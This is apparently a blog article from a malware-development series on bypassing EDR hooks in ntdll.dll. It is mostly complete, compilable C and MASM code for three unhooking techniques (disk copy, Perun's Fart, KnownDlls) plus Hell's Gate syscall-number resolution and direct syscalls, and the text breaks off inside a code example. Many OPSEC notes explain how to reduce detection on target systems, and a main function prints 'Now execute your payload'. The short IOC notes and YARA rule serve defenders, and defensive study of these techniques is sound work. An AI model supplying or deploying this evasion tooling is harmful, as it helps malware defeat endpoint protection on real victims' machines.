ᛉ Yggdrasil

Malware development

NTDLL Unhooking

22 Oct 2026 · 7,688 words · 35 min

Contents

Legend: [HOOK] = Hooking mechanism | [UNHOOK] = Unhooking technique | [SYSCALL] = Syscall method | [OPSEC] = Operational Security note | [DETECT] = Detection vector | [EVASION] = Bypass technique | [TOOL] = Tool reference | [IOC] = Indicator of Compromise


1. Why EDRs Hook NTDLL

What it means: Every Windows API call eventually lands in ntdll.dll before crossing into the kernel. EDR/AV vendors exploit this by planting hooks in ntdll's exported functions to intercept, inspect, and potentially block calls before they reach the kernel.

The call chain (unhooked):

Your code
  └─ Win32 API (kernel32.dll / kernelbase.dll)
       └─ NT Native API (ntdll.dll)  ← EDR targets this layer
            └─ syscall instruction
                 └─ Windows Kernel (ring 0)

Why ntdll specifically?

High-level APIs (CreateRemoteThread, VirtualAllocEx, WriteProcessMemory)
  └─ These are wrappers — they all funnel into ntdll:
       ├─ CreateRemoteThread → NtCreateThreadEx
       ├─ VirtualAllocEx     → NtAllocateVirtualMemory
       ├─ WriteProcessMemory → NtWriteVirtualMemory
       └─ OpenProcess        → NtOpenProcess

├─ Hooking ntdll = monitoring ALL of the above from ONE location
├─ No matter what API a malware calls, it ends up in ntdll
└─ ntdll is the last userland stop before the kernel syscall

Historical context — why userland hooks?

Before 2005 (Vista):
  EDRs hooked the SSDT (System Service Descriptor Table) in the kernel
  └─ Could intercept ALL syscalls system-wide

After 2005 (PatchGuard / KPP introduced):
  Microsoft added Kernel Patch Protection (PatchGuard)
  └─ Kernel modification → BSOD
  └─ EDRs forced to move to userland hooking in ntdll

Modern EDR strategy:
  ├─ Inject own DLL into every new process (via AppInit_DLLs or callbacks)
  ├─ Overwrite ntdll function prologues with JMP to EDR monitoring code
  └─ EDR DLL runs in same process, intercepts calls before they reach syscall

Which functions EDRs hook most:

Category Functions Most Commonly Hooked Detection Purpose
Memory Ops NtAllocateVirtualMemory, NtProtectVirtualMemory, NtWriteVirtualMemory Injection detection
Process/Thread NtCreateProcess, NtCreateThreadEx, NtOpenProcess Process creation monitoring
File System NtCreateFile, NtWriteFile, NtDeleteFile Payload drop detection
Registry NtSetValueKey, NtCreateKey, NtDeleteKey Persistence detection
Object NtOpenSection, NtMapViewOfSection, NtUnmapViewOfSection PE loading monitoring
Networking NtDeviceIoControlFile Network connection monitoring

[OPSEC] Unhooking is sometimes noisier than just using direct syscalls. The act of unhooking itself is an IOC. Understand WHAT you need and bypass only that.


2. How Userland Hooks Work

What it means: When an EDR injects its DLL into your process, it walks ntdll's exports and patches the first bytes of each target function with a JMP instruction that redirects execution to the EDR's inspection code.

2.1 Anatomy of an Unhooked Stub

Before hooking, a typical NtAllocateVirtualMemory stub in ntdll looks like:

; Unhooked NtAllocateVirtualMemory stub (Windows 10/11 x64)
4C 8B D1          mov r10, rcx          ; copy RCX → R10 (syscall convention)
B8 18 00 00 00    mov eax, 0x18         ; SSN = 0x18 (syscall number)
F6 04 25 ...      test byte [...]       ; kernel check (some builds)
0F 05             syscall               ; ring 3 → ring 0
C3                ret                   ; return to caller

2.2 After EDR Hooks It

; Hooked NtAllocateVirtualMemory — first bytes patched
E9 AB CD EF 01    jmp 0x7FFE1234ABCD   ; ← HOOK: absolute JMP to EDR DLL
00 00 00 00 00    (remaining original bytes overwritten or shifted)
...

; Execution goes to EDR code:
; ├─ EDR inspects parameters (what buffer? what size?)
; ├─ EDR checks context (caller stack, calling module, etc.)
; ├─ Decision: allow or block
; └─ If allow: runs trampoline → original stub code → syscall

2.3 Hook Types EDRs Use

1. E9 Relative JMP (5-byte hook) — most common
   E9 xx xx xx xx   → jmp rel32
   Target: EDR function, 5 bytes patched at stub start

2. FF 25 Indirect JMP (6-byte hook) — absolute
   FF 25 00 00 00 00  → jmp [rip+0]  (+ 8-byte pointer after)
   Used when EDR is far from ntdll in virtual address space

3. CC INT3 Breakpoint (1-byte hook) — hardware-assisted
   CC → int3
   Trap handler → EDR code
   Stealthy: only 1 byte changed

4. MOV RAX + JMP RAX (12-byte hook) — unconditional absolute
   48 B8 xx xx xx xx xx xx xx xx   → mov rax, <absolute_addr>
   FF E0                            → jmp rax

[DETECT] Spotting hooks manually: Load ntdll.dll in x64dbg → Symbols → ntdll.dll → Find an Nt* function → If the first instruction is a JMP pointing outside ntdll's module range → it's hooked.

2.4 The EDR Trampoline

Original code:   [NtCreateThreadEx] → JMP EDR_hook
                                           ↓
EDR DLL code:    inspect args, check context, log telemetry
                           ↓ (if allow)
Trampoline:      original overwritten bytes (5 bytes saved)
                 + JMP back to NtCreateThreadEx+5
                           ↓
                 syscall → kernel

3. Detecting If a Function Is Hooked

What it means: Before unhooking, you need to confirm a hook exists. You do this by comparing the in-memory bytes of an Nt* function against what they SHOULD look like (from a clean disk copy or known patterns).

3.1 Manual Check Logic

// Check if a function is hooked by inspecting its first bytes
#include <Windows.h>
#include <stdio.h>

BOOL IsFunctionHooked(const char* funcName) {
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    if (!hNtdll) return FALSE;

    BYTE* funcAddr = (BYTE*)GetProcAddress(hNtdll, funcName);
    if (!funcAddr) return FALSE;

    // Unhooked ntdll Nt* stubs start with:
    // 4C 8B D1  = mov r10, rcx
    // B8        = mov eax, <SSN>
    // First byte 0x4C = clean stub
    // First byte 0xE9 = relative JMP → hooked
    // First byte 0xFF = indirect JMP → hooked
    // First byte 0xCC = INT3 breakpoint → hooked

    printf("[*] %s first bytes: %02X %02X %02X %02X %02X\n",
           funcName,
           funcAddr[0], funcAddr[1], funcAddr[2], funcAddr[3], funcAddr[4]);

    if (funcAddr[0] == 0xE9) {
        printf("[!] %s is hooked! (E9 JMP rel32 at start)\n", funcName);
        return TRUE;
    }
    if (funcAddr[0] == 0xFF && funcAddr[1] == 0x25) {
        printf("[!] %s is hooked! (FF 25 indirect JMP)\n", funcName);
        return TRUE;
    }
    if (funcAddr[0] == 0xCC) {
        printf("[!] %s is hooked! (CC INT3 breakpoint)\n", funcName);
        return TRUE;
    }
    if (funcAddr[0] == 0x4C && funcAddr[1] == 0x8B && funcAddr[2] == 0xD1) {
        printf("[+] %s appears clean (mov r10, rcx prologue intact)\n", funcName);
        return FALSE;
    }

    printf("[?] %s has unknown prologue — may be hooked\n", funcName);
    return FALSE;
}

int main() {
    const char* targets[] = {
        "NtAllocateVirtualMemory",
        "NtProtectVirtualMemory",
        "NtCreateThreadEx",
        "NtWriteVirtualMemory",
        "NtOpenProcess",
        NULL
    };

    for (int i = 0; targets[i]; i++) {
        IsFunctionHooked(targets[i]);
    }
    return 0;
}

3.2 Enumerate All Hooked Exports (Full Scan)

// Scan ALL ntdll exports and list which ones are hooked
#include <Windows.h>
#include <winternl.h>
#include <psapi.h>
#include <stdio.h>

void ScanNtdllHooks() {
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    BYTE*   base   = (BYTE*)hNtdll;

    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)base;
    PIMAGE_NT_HEADERS  nt = (PIMAGE_NT_HEADERS)(base + dos->e_lfanew);
    PIMAGE_EXPORT_DIRECTORY exp = (PIMAGE_EXPORT_DIRECTORY)(
        base + nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

    DWORD* names    = (DWORD*)(base + exp->AddressOfNames);
    DWORD* funcs    = (DWORD*)(base + exp->AddressOfFunctions);
    WORD*  ordinals = (WORD*) (base + exp->AddressOfNameOrdinals);

    printf("[*] Scanning ntdll.dll exports for hooks...\n\n");

    for (DWORD i = 0; i < exp->NumberOfNames; i++) {
        char* name = (char*)(base + names[i]);
        // Only scan Nt* and Zw* functions (syscall stubs)
        if (name[0] != 'N' && name[0] != 'Z') continue;
        if (name[1] != 't' && name[1] != 'w') continue;

        BYTE* fn = base + funcs[ordinals[i]];

        if (fn[0] == 0xE9 || (fn[0] == 0xFF && fn[1] == 0x25) || fn[0] == 0xCC) {
            printf("[HOOKED] %-45s  first bytes: %02X %02X %02X %02X %02X\n",
                   name, fn[0], fn[1], fn[2], fn[3], fn[4]);
        }
    }
    printf("\n[*] Scan complete.\n");
}

int main() {
    ScanNtdllHooks();
    return 0;
}

[DETECT] Tools for this: PE-sieve, Moneta, Get-InjectedThread (PS), HookFinder (GitHub: fin3ss3g0d)


4. Technique 1 — Fresh Copy from Disk (File Mapping)

What it means: Load a second, unhooked copy of ntdll.dll directly from disk using CreateFileMapping + MapViewOfFile. Then find the .text section in both copies and overwrite the hooked in-memory .text with the clean disk copy. Since the disk file is never touched by the EDR (EDR only hooks in-memory), the file on disk is always clean.

4.1 How It Works

Step 1: Get base address of in-memory (hooked) ntdll.dll
Step 2: Open C:\Windows\System32\ntdll.dll from disk
Step 3: CreateFileMapping + MapViewOfFile → get clean copy in memory
Step 4: Parse PE headers of BOTH copies → find .text section RVA + size
Step 5: VirtualProtect → change protection of hooked .text → RWX
Step 6: memcpy → copy clean .text bytes over hooked .text
Step 7: VirtualProtect → restore original protection (RX)
Step 8: Clean up handles, unmap the disk copy

4.2 Full C Implementation

// ntdll_unhook_disk.c — Unhook NTDLL from a fresh disk copy
// Reference: ired.team

#include <Windows.h>
#include <winternl.h>
#include <psapi.h>
#include <stdio.h>

BOOL UnhookNtdllFromDisk() {
    HANDLE hProcess = GetCurrentProcess();
    MODULEINFO mi   = {0};

    // ── Step 1: Get the hooked ntdll base address ──────────────────────
    HMODULE ntdllModule = GetModuleHandleA("ntdll.dll");
    if (!ntdllModule) {
        printf("[-] Failed to get ntdll handle\n");
        return FALSE;
    }
    GetModuleInformation(hProcess, ntdllModule, &mi, sizeof(mi));
    LPVOID ntdllBase = mi.lpBaseOfDll;
    printf("[*] Hooked ntdll base: 0x%p\n", ntdllBase);

    // ── Step 2: Open ntdll.dll from disk ──────────────────────────────
    HANDLE hFile = CreateFileA(
        "C:\\Windows\\System32\\ntdll.dll",
        GENERIC_READ,
        FILE_SHARE_READ,
        NULL,
        OPEN_EXISTING,
        0,
        NULL
    );
    if (hFile == INVALID_HANDLE_VALUE) {
        printf("[-] Failed to open ntdll.dll from disk. Error: %lu\n", GetLastError());
        return FALSE;
    }

    // ── Step 3: Create file mapping and map it ─────────────────────────
    // SEC_IMAGE ensures the PE is mapped correctly (with relocations etc.)
    HANDLE hMapping = CreateFileMapping(hFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
    if (!hMapping) {
        printf("[-] CreateFileMapping failed. Error: %lu\n", GetLastError());
        CloseHandle(hFile);
        return FALSE;
    }

    LPVOID ntdllMapped = MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0);
    if (!ntdllMapped) {
        printf("[-] MapViewOfFile failed. Error: %lu\n", GetLastError());
        CloseHandle(hMapping);
        CloseHandle(hFile);
        return FALSE;
    }
    printf("[*] Clean ntdll mapped at: 0x%p\n", ntdllMapped);

    // ── Step 4: Walk PE headers to find .text section ──────────────────
    PIMAGE_DOS_HEADER hookedDos = (PIMAGE_DOS_HEADER)ntdllBase;
    PIMAGE_NT_HEADERS hookedNt  = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdllBase + hookedDos->e_lfanew);

    BOOL unhooked = FALSE;

    for (WORD i = 0; i < hookedNt->FileHeader.NumberOfSections; i++) {
        PIMAGE_SECTION_HEADER section = (PIMAGE_SECTION_HEADER)(
            (DWORD_PTR)IMAGE_FIRST_SECTION(hookedNt) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i)
        );

        // We only care about .text (contains the syscall stubs)
        if (strcmp((char*)section->Name, ".text") != 0) continue;

        LPVOID hookedText  = (LPVOID)((DWORD_PTR)ntdllBase   + section->VirtualAddress);
        LPVOID cleanText   = (LPVOID)((DWORD_PTR)ntdllMapped + section->VirtualAddress);
        SIZE_T textSize    = section->Misc.VirtualSize;

        printf("[*] .text section at: 0x%p, size: 0x%llX\n", hookedText, (ULONGLONG)textSize);

        // ── Step 5: Change protection → RWX ───────────────────────────
        DWORD oldProtection = 0;
        if (!VirtualProtect(hookedText, textSize, PAGE_EXECUTE_READWRITE, &oldProtection)) {
            printf("[-] VirtualProtect (RWX) failed. Error: %lu\n", GetLastError());
            break;
        }

        // ── Step 6: Copy clean bytes over hooked bytes ─────────────────
        memcpy(hookedText, cleanText, textSize);
        printf("[+] Copied clean .text section over hooked ntdll!\n");

        // ── Step 7: Restore original memory protection ─────────────────
        VirtualProtect(hookedText, textSize, oldProtection, &oldProtection);
        printf("[+] Restored memory protection: 0x%08lX\n", oldProtection);

        unhooked = TRUE;
        break;
    }

    // ── Step 8: Cleanup ────────────────────────────────────────────────
    UnmapViewOfFile(ntdllMapped);
    CloseHandle(hMapping);
    CloseHandle(hFile);
    CloseHandle(hProcess);

    if (unhooked) {
        printf("[+] ntdll.dll successfully unhooked!\n");
    }
    return unhooked;
}

int main() {
    printf("[*] Starting NTDLL unhooking (disk method)...\n\n");
    if (UnhookNtdllFromDisk()) {
        printf("\n[+] Success! EDR hooks removed.\n");
        printf("[*] Now execute your payload...\n");
    } else {
        printf("\n[-] Unhooking failed.\n");
    }
    return 0;
}

4.3 Compile

# MSVC
cl.exe ntdll_unhook_disk.c /Fe:unhook_disk.exe /link psapi.lib

# MinGW (cross-compile from Linux)
x86_64-w64-mingw32-gcc ntdll_unhook_disk.c -o unhook_disk.exe -lpsapi

# Build flags for production (strip debug info)
cl.exe ntdll_unhook_disk.c /Fe:unhook_disk.exe /link psapi.lib /SUBSYSTEM:WINDOWS /ENTRY:mainCRTStartup

[IOC] Detectable by: Two ntdll modules loaded simultaneously (second one from disk), VirtualProtect call on ntdll's .text section changing it to RWX, LoadLibrary/CreateFileMapping of ntdll path. Moderate detection risk.

[OPSEC] Note on relocations: ntdll.dll doesn't have relocations in its .text section that would matter for copying, but other DLLs might. For ntdll specifically this approach is safe.


5. Technique 2 — Perun's Fart (Suspended Process)

What it means: Instead of reading from disk (which creates CreateFile telemetry), spawn a benign process in suspended state (e.g., notepad.exe, calc.exe, svchost.exe). The suspended process has a pristine, not-yet-hooked copy of ntdll.dll in memory because the EDR hasn't had time to inject and hook it yet. Copy the clean .text section from the suspended process into your current process's ntdll, then terminate the suspended process.

5.1 Why the Suspended Process is Clean

Process creation flow:
  1. CreateProcess() called
  2. Kernel creates process (loads ntdll.dll cleanly)
  3. Process starts in SUSPENDED state
  ← We read clean ntdll HERE, before EDR injects
  4. EDR DLL loader notification fires (PsSetLoadImageNotifyRoutine)
  5. EDR injects its monitoring DLL into the new process
  6. EDR hooks ntdll in the new process
  7. Process resumes

A suspended process = ntdll loaded, but EDR not yet injected

5.2 Full C Implementation

// ntdll_unhook_perunsfart.c — Perun's Fart technique
// Spawn suspended process → steal clean ntdll → terminate it

#include <Windows.h>
#include <winternl.h>
#include <psapi.h>
#include <stdio.h>
#include <tlhelp32.h>

// Get ntdll base in a remote process by scanning its module list
LPVOID GetNtdllBaseRemote(HANDLE hProcess) {
    HMODULE hMods[1024];
    DWORD   cbNeeded;

    if (!EnumProcessModules(hProcess, hMods, sizeof(hMods), &cbNeeded)) {
        return NULL;
    }

    char modName[MAX_PATH];
    for (DWORD i = 0; i < (cbNeeded / sizeof(HMODULE)); i++) {
        if (GetModuleFileNameExA(hProcess, hMods[i], modName, sizeof(modName))) {
            if (strstr(modName, "ntdll.dll")) {
                return (LPVOID)hMods[i];
            }
        }
    }
    return NULL;
}

BOOL UnhookNtdllPerunsFart() {
    STARTUPINFOA si = {0};
    PROCESS_INFORMATION pi = {0};
    si.cb = sizeof(si);

    // ── Step 1: Create suspended process ──────────────────────────────
    // Use a benign process that's always present
    // notepad.exe, calc.exe, svchost.exe are common choices
    const char* targetProcess = "C:\\Windows\\System32\\notepad.exe";

    if (!CreateProcessA(
            targetProcess,
            NULL,
            NULL, NULL,
            FALSE,
            CREATE_SUSPENDED,   // ← Key: suspended before EDR can hook it
            NULL, NULL,
            &si, &pi)) {
        printf("[-] CreateProcess failed. Error: %lu\n", GetLastError());
        return FALSE;
    }
    printf("[*] Spawned suspended process: notepad.exe (PID: %lu)\n", pi.dwProcessId);

    // Brief sleep — ensure ntdll is loaded in suspended process
    // In most cases this isn't needed, but good practice
    Sleep(100);

    // ── Step 2: Get ntdll base in suspended process ────────────────────
    LPVOID remoteNtdllBase = GetNtdllBaseRemote(pi.hProcess);
    if (!remoteNtdllBase) {
        printf("[-] Could not find ntdll in suspended process\n");
        TerminateProcess(pi.hProcess, 0);
        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);
        return FALSE;
    }
    printf("[*] Remote (clean) ntdll base: 0x%p\n", remoteNtdllBase);

    // ── Step 3: Read ntdll headers from suspended process ──────────────
    IMAGE_DOS_HEADER remoteDos = {0};
    IMAGE_NT_HEADERS remoteNt  = {0};

    ReadProcessMemory(pi.hProcess, remoteNtdllBase, &remoteDos, sizeof(remoteDos), NULL);
    ReadProcessMemory(pi.hProcess,
        (LPVOID)((DWORD_PTR)remoteNtdllBase + remoteDos.e_lfanew),
        &remoteNt, sizeof(remoteNt), NULL);

    // ── Step 4: Find .text section in remote ntdll ─────────────────────
    DWORD_PTR sectionAddr = (DWORD_PTR)remoteNtdllBase
                          + remoteDos.e_lfanew
                          + sizeof(IMAGE_NT_HEADERS);

    LPVOID  remoteTextVA = NULL;
    SIZE_T  remoteTextSz = 0;
    DWORD   localTextRVA = 0;

    for (WORD i = 0; i < remoteNt.FileHeader.NumberOfSections; i++) {
        IMAGE_SECTION_HEADER section = {0};
        ReadProcessMemory(pi.hProcess,
            (LPVOID)(sectionAddr + i * IMAGE_SIZEOF_SECTION_HEADER),
            &section, sizeof(section), NULL);

        if (strcmp((char*)section.Name, ".text") == 0) {
            remoteTextVA = (LPVOID)((DWORD_PTR)remoteNtdllBase + section.VirtualAddress);
            remoteTextSz = section.Misc.VirtualSize;
            localTextRVA = section.VirtualAddress;
            printf("[*] Found .text in remote process: 0x%p (size: 0x%llX)\n",
                   remoteTextVA, (ULONGLONG)remoteTextSz);
            break;
        }
    }

    if (!remoteTextVA) {
        printf("[-] Could not find .text section in remote process\n");
        TerminateProcess(pi.hProcess, 0);
        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);
        return FALSE;
    }

    // ── Step 5: Allocate buffer and read clean .text from remote ───────
    LPVOID cleanTextBuf = VirtualAlloc(NULL, remoteTextSz, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (!cleanTextBuf) {
        printf("[-] Failed to allocate buffer for clean text section\n");
        TerminateProcess(pi.hProcess, 0);
        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);
        return FALSE;
    }

    SIZE_T bytesRead = 0;
    ReadProcessMemory(pi.hProcess, remoteTextVA, cleanTextBuf, remoteTextSz, &bytesRead);
    printf("[*] Read %llu bytes of clean .text from suspended process\n", (ULONGLONG)bytesRead);

    // ── Step 6: Terminate suspended process (no longer needed) ─────────
    TerminateProcess(pi.hProcess, 0);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
    printf("[*] Suspended process terminated\n");

    // ── Step 7: Get local (hooked) ntdll .text and overwrite it ────────
    HMODULE localNtdll = GetModuleHandleA("ntdll.dll");
    LPVOID hookedTextVA = (LPVOID)((DWORD_PTR)localNtdll + localTextRVA);

    DWORD oldProtection = 0;
    VirtualProtect(hookedTextVA, remoteTextSz, PAGE_EXECUTE_READWRITE, &oldProtection);
    memcpy(hookedTextVA, cleanTextBuf, remoteTextSz);
    VirtualProtect(hookedTextVA, remoteTextSz, oldProtection, &oldProtection);

    // ── Step 8: Free the buffer ────────────────────────────────────────
    VirtualFree(cleanTextBuf, 0, MEM_RELEASE);

    printf("[+] Perun's Fart complete — ntdll unhooked!\n");
    return TRUE;
}

int main() {
    printf("[*] NTDLL Unhooking — Perun's Fart Technique\n\n");
    UnhookNtdllPerunsFart();
    return 0;
}

5.3 YARA Detection Rule (Defensive)

// Detection rule for Perun's Fart technique (from red team research)
rule PerunsFart_Unhooking {
    meta:
        description = "Detects Perun's Fart ntdll unhooking technique"
        author      = "Red Team Research"
        reference   = "https://lrqa.com/en/cyber-labs/"

    strings:
        $s1 = "ntdll.dll"     ascii wide
        $s2 = "VirtualProtect" ascii
        $s3 = ".text"          ascii
        $syscall_opcode = { 0F 05 C3 }        // syscall; ret
        $int3_breakpoint = { CC CC CC }        // INT3 filler

    condition:
        uint16(0) == 0x5A4D     // MZ header
        and $s1 and $s2 and $s3
        and ($syscall_opcode or $int3_breakpoint)
}

[OPSEC] Detection risk: Process creation events are logged. Spawning notepad.exe then immediately killing it is suspicious. Prefer svchost.exe or a process matching your target environment. The ReadProcessMemory call on a freshly-spawned process also generates Sysmon Event ID 10 (ProcessAccess).

[OPSEC] Better choices for target process: C:\Windows\System32\svchost.exe -k netsvcs or processes already running on the target (use OpenProcess on an existing PID instead of spawning a new one).


6. Technique 3 — KnownDlls Section Handle (NtOpenSection)

What it means: Windows maintains a special object directory at \KnownDlls\ that contains pre-loaded, mapped copies of critical system DLLs. These are used during process creation to avoid re-reading DLLs from disk. Crucially, the DLLs in \KnownDlls\ are never hooked by EDRs because they're kernel-managed section objects. Using NtOpenSection to access \KnownDlls\ntdll.dll gives you a pristine, hook-free copy — no disk I/O, no new process, no CreateFile.

6.1 Why KnownDlls Is Clean

\KnownDlls\ object directory:
  ├─ Populated at system boot by SMSS.exe
  ├─ Contains section objects for kernel32.dll, ntdll.dll, etc.
  ├─ These are shared memory-mapped sections, read-only
  ├─ EDR cannot inject hooks into the section object itself
  └─ When you open the section, you get the original OS copy

Advantage over disk read:
  ├─ No CreateFile() → no file I/O telemetry
  ├─ No SEC_IMAGE mapping needed
  ├─ Faster (already in memory as a section object)
  └─ Works even if ntdll.dll on disk is replaced/modified

6.2 Full C Implementation

// ntdll_unhook_knowndlls.c — Unhook from \KnownDlls\ directory
// Cleaner: no file I/O, no new process

#include <Windows.h>
#include <winternl.h>
#include <psapi.h>
#include <stdio.h>

// NtOpenSection / RtlInitUnicodeString prototypes
typedef NTSTATUS (NTAPI *fpNtOpenSection)(
    PHANDLE            SectionHandle,
    ACCESS_MASK        DesiredAccess,
    POBJECT_ATTRIBUTES ObjectAttributes
);
typedef VOID (NTAPI *fpRtlInitUnicodeString)(
    PUNICODE_STRING DestinationString,
    PCWSTR          SourceString
);

BOOL UnhookNtdllKnownDlls() {
    // ── Step 1: Resolve functions from ntdll (still accessible even if hooked
    //            because we're not calling the hooked Nt* wrapper here) ─────
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");

    fpNtOpenSection NtOpenSection = (fpNtOpenSection)
        GetProcAddress(hNtdll, "NtOpenSection");
    fpRtlInitUnicodeString RtlInitUnicodeString = (fpRtlInitUnicodeString)
        GetProcAddress(hNtdll, "RtlInitUnicodeString");

    if (!NtOpenSection || !RtlInitUnicodeString) {
        printf("[-] Failed to resolve native API functions\n");
        return FALSE;
    }

    // ── Step 2: Open \KnownDlls\ntdll.dll section object ──────────────
    UNICODE_STRING usDllName;
    WCHAR          dllPath[] = L"\\KnownDlls\\ntdll.dll";
    RtlInitUnicodeString(&usDllName, dllPath);

    OBJECT_ATTRIBUTES oa;
    InitializeObjectAttributes(&oa, &usDllName, OBJ_CASE_INSENSITIVE, NULL, NULL);

    HANDLE hSection = NULL;
    NTSTATUS status = NtOpenSection(&hSection, SECTION_MAP_READ | SECTION_QUERY, &oa);
    if (!NT_SUCCESS(status)) {
        printf("[-] NtOpenSection failed: 0x%08lX\n", status);
        return FALSE;
    }
    printf("[*] Opened \\KnownDlls\\ntdll.dll section: 0x%p\n", hSection);

    // ── Step 3: Map the clean section into our process ─────────────────
    LPVOID cleanNtdll = NULL;
    SIZE_T viewSize   = 0;
    status = NtMapViewOfSection(
        hSection,
        GetCurrentProcess(),
        &cleanNtdll,
        0, 0, NULL,
        &viewSize,
        ViewShare,
        0,
        PAGE_READONLY
    );
    if (!NT_SUCCESS(status)) {
        printf("[-] NtMapViewOfSection failed: 0x%08lX\n", status);
        CloseHandle(hSection);
        return FALSE;
    }
    printf("[*] Clean ntdll mapped from KnownDlls at: 0x%p\n", cleanNtdll);

    // ── Step 4: Find .text section in BOTH ntdll copies ────────────────
    LPVOID localBase = (LPVOID)GetModuleHandleA("ntdll.dll");

    PIMAGE_DOS_HEADER cleanDos = (PIMAGE_DOS_HEADER)cleanNtdll;
    PIMAGE_NT_HEADERS cleanNt  = (PIMAGE_NT_HEADERS)((DWORD_PTR)cleanNtdll + cleanDos->e_lfanew);

    LPVOID hookedText = NULL;
    LPVOID cleanText  = NULL;
    SIZE_T textSize   = 0;

    for (WORD i = 0; i < cleanNt->FileHeader.NumberOfSections; i++) {
        PIMAGE_SECTION_HEADER sec = (PIMAGE_SECTION_HEADER)(
            (DWORD_PTR)IMAGE_FIRST_SECTION(cleanNt) + i * IMAGE_SIZEOF_SECTION_HEADER
        );
        if (strcmp((char*)sec->Name, ".text") == 0) {
            hookedText = (LPVOID)((DWORD_PTR)localBase  + sec->VirtualAddress);
            cleanText  = (LPVOID)((DWORD_PTR)cleanNtdll + sec->VirtualAddress);
            textSize   = sec->Misc.VirtualSize;
            printf("[*] .text: local=0x%p clean=0x%p size=0x%llX\n",
                   hookedText, cleanText, (ULONGLONG)textSize);
            break;
        }
    }

    if (!hookedText) {
        printf("[-] .text section not found\n");
        NtUnmapViewOfSection(GetCurrentProcess(), cleanNtdll);
        CloseHandle(hSection);
        return FALSE;
    }

    // ── Step 5: Overwrite hooked .text with clean copy ─────────────────
    DWORD oldProt = 0;
    VirtualProtect(hookedText, textSize, PAGE_EXECUTE_READWRITE, &oldProt);
    memcpy(hookedText, cleanText, textSize);
    VirtualProtect(hookedText, textSize, oldProt, &oldProt);

    printf("[+] ntdll unhooked via KnownDlls!\n");

    // ── Step 6: Cleanup ────────────────────────────────────────────────
    NtUnmapViewOfSection(GetCurrentProcess(), cleanNtdll);
    CloseHandle(hSection);
    return TRUE;
}

int main() {
    printf("[*] NTDLL Unhooking — KnownDlls Technique\n\n");
    UnhookNtdllKnownDlls();
    return 0;
}

[OPSEC] Lowest I/O noise of the unhooking techniques — no disk access, no process creation. Still generates an NtOpenSection call on \KnownDlls\ which some EDRs monitor.

[IOC] Detection signals: NtOpenSection with \KnownDlls\ntdll.dll object path, NtMapViewOfSection into current process, followed by VirtualProtect on ntdll's .text section.


7. Technique 4 — Direct Syscalls (Hell's Gate)

What it means: Instead of calling ntdll.dll at all, you bypass it entirely by putting the syscall instruction directly in your code. You need the System Service Number (SSN) — a number the kernel uses to identify which syscall to run. Hell's Gate resolves the SSN dynamically at runtime by reading it from the ntdll stub (mov eax, <SSN> opcode = bytes B8 xx 00 00 00).

7.1 Understanding the SSN

NtAllocateVirtualMemory stub (unhooked):
  4C 8B D1          mov r10, rcx      ; save RCX
  B8 18 00 00 00    mov eax, 0x18     ; ← SSN = 0x18 for this function
  0F 05             syscall
  C3                ret

SSN byte location: offset 4 from stub start (after the 4C 8B D1 B8)
Read: *(DWORD*)(stub_addr + 4) → SSN value

SSN values vary between Windows versions!
  NtAllocateVirtualMemory:
    Windows 10 1507:  0x0015
    Windows 10 21H2:  0x0018
    Windows 11 22H2:  0x0018
    → Always resolve at runtime, NEVER hardcode

7.2 Hell's Gate SSN Resolution (C)

// hells_gate.c — Dynamically resolve SSN from ntdll stub
#include <Windows.h>
#include <winternl.h>
#include <stdio.h>

DWORD GetSSN(const char* funcName) {
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    BYTE*   stub   = (BYTE*)GetProcAddress(hNtdll, funcName);

    if (!stub) {
        printf("[-] Function %s not found\n", funcName);
        return 0xFFFFFFFF;
    }

    // Stub pattern: 4C 8B D1  B8 [SSN lo] [SSN hi] 00 00  0F 05  C3
    // SSN is at offset 4 (after the 4-byte mov r10, rcx + mov eax opcode byte)
    // Check first 3 bytes = clean prologue
    if (stub[0] == 0x4C && stub[1] == 0x8B && stub[2] == 0xD1 && stub[3] == 0xB8) {
        // Bytes 4-5 are SSN (little-endian WORD, upper 2 bytes = 00 00)
        DWORD ssn = *(DWORD*)(stub + 4);
        printf("[+] %-45s SSN: 0x%04lX\n", funcName, ssn);
        return ssn;
    }

    // If stub is hooked (starts with E9 JMP etc.) — Hell's Gate fails
    printf("[!] %-45s appears HOOKED (first bytes: %02X %02X %02X)\n",
           funcName, stub[0], stub[1], stub[2]);
    return 0xFFFFFFFF;
}

int main() {
    printf("[*] Hell's Gate — SSN Resolution\n\n");

    GetSSN("NtAllocateVirtualMemory");
    GetSSN("NtProtectVirtualMemory");
    GetSSN("NtCreateThreadEx");
    GetSSN("NtWriteVirtualMemory");
    GetSSN("NtOpenProcess");
    GetSSN("NtCreateFile");

    return 0;
}

7.3 Direct Syscall Invocation (x64 MASM)

; direct_syscall.asm — Direct syscall stub for x64
; Assemble: ml64.exe /c direct_syscall.asm

.code

; Direct syscall: caller sets eax = SSN before calling
; The calling convention mirrors ntdll stub behavior
NtAllocateVirtualMemory_Direct PROC
    mov r10, rcx          ; syscall calling convention: RCX → R10
    mov eax, 18h          ; ← SSN hardcoded here (bad for portability)
    syscall               ; ring 3 → ring 0 directly, bypasses ntdll hooks
    ret
NtAllocateVirtualMemory_Direct ENDP

; Generic direct syscall: pass SSN in EAX externally
GenericSyscall PROC
    mov r10, rcx
    ; eax already set by caller via SetSSN (see C wrapper below)
    syscall
    ret
GenericSyscall ENDP

END
// Direct syscall C wrapper
// Set SSN externally, then call the ASM stub

extern NTSTATUS NtAllocateVirtualMemory_Direct(
    HANDLE   ProcessHandle,
    PVOID*   BaseAddress,
    ULONG_PTR ZeroBits,
    PSIZE_T  RegionSize,
    ULONG    AllocationType,
    ULONG    Protect
);

// Usage:
PVOID  addr = NULL;
SIZE_T size = 0x1000;
